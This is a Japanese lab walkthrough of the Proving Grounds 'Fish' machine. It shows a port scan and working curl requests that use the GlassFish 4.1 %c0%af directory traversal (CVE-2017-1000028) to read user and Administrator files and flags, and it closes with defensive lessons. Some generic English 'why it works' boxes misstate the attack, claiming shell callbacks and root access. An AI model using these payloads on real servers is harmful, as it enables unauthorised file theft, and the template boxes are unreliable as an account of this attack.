Post

Proving Grounds - Fish (Windows)

Proving Grounds Fish Windows マシン解説。GlassFish 4.1 のディレクトリトラバーサル (CVE-2017-1000028) による任意ファイル読み取りを解説。

Proving Grounds - Fish (Windows)

概要

項目 内容
OS Windows
難易度 Easy
攻撃対象 Web (GlassFish 4.1 ポート4848、SynaMan ポート6060)
主な侵入経路 GlassFish 4.1 のUTF-8エンコード %c0%af によるディレクトリトラバーサル (CVE-2017-1000028 / EDB-39441)
権限昇格経路 同一脆弱性 — Administratorデスクトップの直接ファイル読み取り

認証情報

認証情報なし(攻撃は完全に非認証のファイル読み取り)。

偵察


💡 なぜ有効か This stage maps the reachable attack surface and identifies where exploitation is most likely to succeed. Accurate service and content discovery reduces blind testing and drives targeted follow-up actions.

1
rustscan -a $ip -r 1-65535 --ulimit 5000
1
2
3
4
5
6
7
8
9
10
11
12
13
Open 192.168.198.168:135
Open 192.168.198.168:139
Open 192.168.198.168:445
Open 192.168.198.168:3389
Open 192.168.198.168:3700
Open 192.168.198.168:4848
Open 192.168.198.168:5040
Open 192.168.198.168:6060
Open 192.168.198.168:7676
Open 192.168.198.168:7776
Open 192.168.198.168:8080
Open 192.168.198.168:8181
Open 192.168.198.168:8686
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PORT      STATE SERVICE              VERSION
135/tcp   open  msrpc                Microsoft Windows RPC
139/tcp   open  netbios-ssn          Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server        Microsoft Terminal Services
| ssl-cert: Subject: commonName=Fishyyy
3700/tcp  open  giop
4848/tcp  open  http                 Sun GlassFish Open Source Edition  4.1
|_http-title: Login
6060/tcp  open  x11?                 (Synametrics Web Server v7 / SynaMan 5.1)
7676/tcp  open  java-message-service Java Message Service 301
7776/tcp  open  java-rmi             Java RMI
8080/tcp  open  http                 Sun GlassFish Open Source Edition  4.1
|_http-title: Data Web
8181/tcp  open  ssl/http             Sun GlassFish Open Source Edition  4.1
8686/tcp  open  java-rmi             Java RMI

多数のサービスが動作していた。GlassFish 4.1はポート4848(管理コンソール)、8080(アプリケーション)、8181(SSL)で公開されていた。SynaMan 5.1ファイルマネージャーはポート6060。searchsploitで既知のディレクトリトラバーサルを確認:

1
searchsploit oracle glassfish
1
Oracle GlassFish Server 4.1 - Directory Traversal  | multiple/webapps/39441.txt

初期侵入


攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

EDB-39441はGlassFish 4.1のUTF-8オーバーロングエンコーディング(%c0%af/ を表す)を使用したディレクトリトラバーサルを記述している。脆弱性はポート4848の管理コンソールに存在する:

まず、ユーザーディレクトリを列挙:

1
curl http://192.168.198.168:4848/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afUsers/
1
2
3
4
5
6
7
Administrator
All Users
arthur
Default
Default User
desktop.ini
Public

ユーザーフラグの読み取り:

1
curl http://192.168.198.168:4848/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afUsers/arthur/desktop/local.txt
1
6502c9405e0023e2023234bbf9b69dbd

💡 なぜ有効か The initial access step chains discovered weaknesses into executable control over the target. Successful foothold techniques are validated by command execution or interactive shell callbacks.

権限昇格


同じディレクトリトラバーサル脆弱性を使用してAdministratorのproofフラグを直接読み取った:

1
curl http://192.168.198.168:4848/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afUsers/administrator/desktop/proof.txt
1
7eb605ace99f2712d737ea97ac2834d2

シェルアクセスや追加の権限昇格は不要だった — ディレクトリトラバーサルによりAdministratorファイルを含むファイルシステム全体への読み取りアクセスが可能だった。

💡 なぜ有効か Privilege escalation relies on local misconfigurations, unsafe permissions, and trusted execution paths. Enumerating and abusing these trust boundaries is the fastest route to root-level access.

まとめ・学んだこと

  • GlassFish 4.1にはUTF-8オーバーロングエンコーディング(%c0%af)を使用したディレクトリトラバーサルが存在する — パッチ済みバージョンに更新すべき。
  • %c0%af エンコーディングは ../ シーケンスをブロックする標準的なパス正規化をバイパスする。
  • DVR4と同様、任意ファイル読み取り脆弱性だけで対話的シェルアクセスなしに全フラグを取得できる場合がある。
  • 複数の公開サービス(GlassFish、SynaMan、Java RMI)は攻撃面を拡大する — 公開サービスを最小限に抑えるべき。

Attack Flow


攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

flowchart LR
    subgraph SCAN["🔍 スキャン"]
        direction TB
        S1["Rustscan / Nmap\n全ポートスキャン\n192.168.198.168"]
        S2["GlassFish 4.1\nPort 4848 / 8080 / 8181\n管理コンソール発見"]
        S3["SynaMan 5.1\nPort 6060\nSynametrics Web Server v7"]
        S4["searchsploit\nOracle GlassFish 4.1\nDirectory Traversal\nEDB-39441"]
        S1 --> S2 --> S3 --> S4
    end

    subgraph INITIAL["💥 初期侵入"]
        direction TB
        I1["Directory Traversal\nGlassFish 4.1 Port 4848\n%c0%af UTF-8エンコード"]
        I2["ユーザ一覧取得\ncurl ...prototype%c0%af.../Users/\narthur / Administrator"]
        I3["local.txt 取得\n/Users/arthur/desktop/local.txt\n6502c940..."]
        I1 --> I2 --> I3
    end

    subgraph PRIVESC["⬆️ 権限昇格"]
        direction TB
        P1["同一脆弱性で\nAdministratorファイル読み取り\nDirectory Traversal継続"]
        P2["proof.txt 取得\n/Users/administrator/desktop/proof.txt\n7eb605ac..."]
        P1 --> P2
    end

    SCAN --> INITIAL --> PRIVESC

    style SCAN fill:#e8eaf6
    style INITIAL fill:#c8e6c9
    style PRIVESC fill:#ffccbc
    style I3 fill:#ff9800
    style P2 fill:#4caf50

参考文献

  • EDB-39441 — Oracle GlassFish Server 4.1 Directory Traversal: https://www.exploit-db.com/exploits/39441
  • CVE-2017-1000028: https://nvd.nist.gov/vuln/detail/CVE-2017-1000028
  • RustScan: https://github.com/RustScan/RustScan
  • Nmap: https://nmap.org/
This post is licensed under CC BY 4.0 by the author.